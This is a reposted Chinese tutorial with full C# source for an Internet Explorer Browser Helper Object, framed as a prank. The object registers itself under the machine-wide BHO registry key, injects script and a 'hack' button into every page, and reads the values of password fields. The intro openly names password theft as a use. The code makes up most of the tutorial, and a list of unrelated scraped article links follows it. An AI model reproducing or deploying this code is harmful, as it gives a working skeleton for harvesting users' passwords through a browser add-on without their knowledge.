摘自:http://tech.ddvip.com/2013-05/1369758775196257.html

BHO(Browser Helper Object)是插件,它寄存在IE浏览器中运行。在咱们的日常生活中无时无刻都在使用BHO,比如:迅雷检测用户是否单击了下载链接的BHO。用BHO也能做出些非常有意思的程序:窃取用户在网页上输入的密码信息等。

接下来,咱们也来制作一个恶搞的BHO吧,该BHO的功能如下:

1.注册成功后,每当用户浏览一个新的网页时,会自动在该网页中注入一个按钮

2.点击该按钮能获取用户在该网页中输入的敏感信息

操作步骤

图1

图2

图3

图4

图5

图6

图7

程序代码

IObjectWithSite.cs

using System;
using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace HelloBHO
{ [
ComVisible(true),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown),
Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352")
] public interface IObjectWithSite
{
[PreserveSig]
int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site);
[PreserveSig]
int GetSite(ref Guid guid, out IntPtr ppvSite);
}
}

BHO.cs

using System;
using System.Collections.Generic;
using System.Text; using System.Runtime.InteropServices;
using SHDocVw;
using mshtml;
using Microsoft.Win32; namespace HelloBHO
{ [
ComVisible(true),
Guid("8a194578-81ea-4850-9911-13ba2d71efbd"),
ClassInterface(ClassInterfaceType.None)
]
public class BHO:IObjectWithSite
{
WebBrowser webBrowser;
HTMLDocument document; public void OnDocumentComplete(object pDisp,ref object URL)
{
document = (HTMLDocument)webBrowser.Document;
IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
var body = (HTMLBody)document.body; //添加Javascript脚本
IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");
scriptElement.type = "text/javascript";
scriptElement.text = "function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}";//document.getElementById('PWDHACK').value=pwdList;
((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement); //创建些可以使用CSS的节点
string styleText = @".tb{position:absolute;top:100px;}";//left:100px;border:1px red solid;width:50px;height:50px;
IHTMLStyleElement tmpStyle = (IHTMLStyleElement)document.createElement("style"); tmpStyle.type = "text/css";
tmpStyle.styleSheet.cssText = styleText; string btnString = @"<input type='button' value='hack' onclick='FindPassword()' />";
body.insertAdjacentHTML("afterBegin", btnString); } public int SetSite(object site)
{
if (site != null)
{
webBrowser = (WebBrowser)site; webBrowser.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);
}
else
{
webBrowser.DocumentComplete -= new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);
webBrowser = null;
}
return 0;
} public void OnBeforeNavigate2(object pDisp, ref object URL, ref object Flags, ref object TargetFrameName, ref object PostData, ref object Headers, ref bool Cancel)
{
document = (HTMLDocument)webBrowser.Document;
foreach (IHTMLInputElement element in document.getElementsByTagName("INPUT"))
{
if (element.type.ToLower() == "password")
{
System.Windows.Forms.MessageBox.Show(element.value);
}
}
} public int GetSite(ref Guid guid, out IntPtr ppvSite)
{
IntPtr punk = Marshal.GetIUnknownForObject(webBrowser);
int hr = Marshal.QueryInterface(punk, ref guid, out ppvSite);
Marshal.Release(punk);
return hr;
} public static string BHOKEYNAME = "SoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects"; [ComRegisterFunction]
public static void RegisterBHO(Type type)
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true); if (registryKey == null)
registryKey = Registry.LocalMachine.CreateSubKey(BHOKEYNAME); string guid = type.GUID.ToString("B");
RegistryKey ourKey = registryKey.OpenSubKey(guid); if (ourKey == null)
ourKey = registryKey.CreateSubKey(guid); registryKey.Close();
ourKey.Close();
} [ComUnregisterFunction]
public static void UnregisterBHO(Type type)
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);
string guid = type.GUID.ToString("B"); if (registryKey != null)
registryKey.DeleteSubKey(guid, false);
}
}
}

制作一个属于自己的BHO吧!(C#) (转)的更多相关文章

  1. 使用CocosSharp制作一个游戏 - CocosSharp中文教程

    注:本教程翻译自官方<Walkthrough - Building a game with CocosSharp>,官方教程有很多地方说的不够详细,或者代码不全,导致无法继续,本人在看了G ...

  2. ios学习-制作一个浏览图片的Demo

    一.项目要求:制作一个浏览图片的Demo,要求包含夜间模式,以及改变图片大小,能够显示不同的图片描述 二.开发步骤: 1.在storyboard上添加一个空白的View,然后添加”设置“按钮,添加im ...

  3. iOS学习——制作一个小型加法计算器

    一.项目要求:制作一个加法计算器.在第1个和第2个文本框中输入两个整数,然后点击“计算”按钮,可将计算结果显示在第3个文本框中. 二.开发步骤: 1.搭建UI界面 2.监听按钮的点击事件 3.获取文本 ...

  4. 制作一个简洁的jquery插件

    原文:http://mp.weixin.qq.com/s?__biz=MzAxMzgwNDU3Mg==&mid=401571467&idx=1&sn=08cb00963e6ef ...

  5. 用Phaser来制作一个html5游戏——flappy bird (二)

    在上一篇教程中我们完成了boot.preload.menu这三个state的制作,下面我们就要进入本游戏最核心的一个state的制作了.play这个state的代码比较多,我不会一一进行说明,只会把一 ...

  6. 用Phaser来制作一个html5游戏——flappy bird (一)

    Phaser是一个简单易用且功能强大的html5游戏框架,利用它可以很轻松的开发出一个html5游戏.在这篇文章中我就教大家如何用Phaser来制作一个前段时间很火爆的游戏:Flappy Bird,希 ...

  7. Android学习笔记(十二)——实战:制作一个聊天界面

    //此系列博文是<第一行Android代码>的学习笔记,如有错漏,欢迎指正! 运用简单的布局知识,我们可以来尝试制作一个聊天界面. 一.制作 Nine-Patch 图片 : Nine-Pa ...

  8. 用ultraISO 制作一个MSdos启动软盘镜像

    见过软盘,但是没用过,在虚拟机里试试. 磁带,软盘,光盘,硬盘…… 储存介质一代代更新,看到的img.iso文件都是叫做镜像文件(image file ).image 即图片照片,所谓的image f ...

  9. C#制作一个消息拦截器(intercept)1

    首先,我们先要制作一个自己定义Attribute,让他能够具有上下文读取功能,所以我们这个Attribute类要同一时候继承Attribute和IContextAttribute. 接口IContex ...

随机推荐

  1. Linux的视频编程(V4L2编程)【转】

    本文转载自:http://blog.csdn.net/tommy_wxie/article/details/11472073 一.什么是video4linuxVideo4linux2(简称V4L2), ...

  2. Unicode : RLO

    分类:备忘,Unicode,Perl 我们一般的输入文字的方向是从左往右,但是世界上总有特例,阿拉伯国家是从右到左的书写方式.经常看到微信里面好友得瑟,也就拿过来总结一下. 每个语言都能实现字符串反转 ...

  3. uniq DEMO

    测试数据: [weblogic@etp-mall-dev7][/tmp]$ cat msn.txt aaa bbb bbb ccc ccc ddd bbb eee aaa ccc bbb sss op ...

  4. oracle初次使用连接不上

    问题描述: win10下,cmd运行 输入sqlplus报一下错误 SP2-1503: 无法初始化 Oracle 调用界面 SP2-0152: ORACLE 不能正常工作 解决办法 cmd右键--以管 ...

  5. Swoole + zphp 改造为专门用来开发接口的框架

    The other problem I had with Laravel Task Scheduling was that i really only wanted something to hand ...

  6. HDU 4635:Strongly connected(强连通)

    http://acm.hdu.edu.cn/showproblem.php?pid=4635 题意:给出n个点和m条边,问最多能添加几条边使得图不是一个强连通图.如果一开始强连通就-1.思路:把图分成 ...

  7. expect语法

    沙河西ftp上传,使用了expect语言的脚本. 我们经常会遇到一些需要与服务器程序打交道的场景,比如,从登陆某个服务器,然后进行某项工作.这很平常,但是如果把这个工作自动化进行,你就需要一个程序能自 ...

  8. xcode4.3 完成输入后 点击背景关闭键盘

    -(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{ [self.view endEditing:YES];} 把这个复制到 ...

  9. YTU 2986: 删除区间内的元素(线性表)

    2986: 删除区间内的元素(线性表) 时间限制: 1 Sec  内存限制: 2 MB 提交: 8  解决: 3 题目描述 若一个线性表L采用顺序存储结构,其中元素都为整数.设计一个算法,删除元素值在 ...

  10. js判断radio,checkbox是否选中

    从数据库循环数据,多选按钮数组 function type_1(){ //多选 var b= document.getElementsByName('service_zj_ids[]');  var ...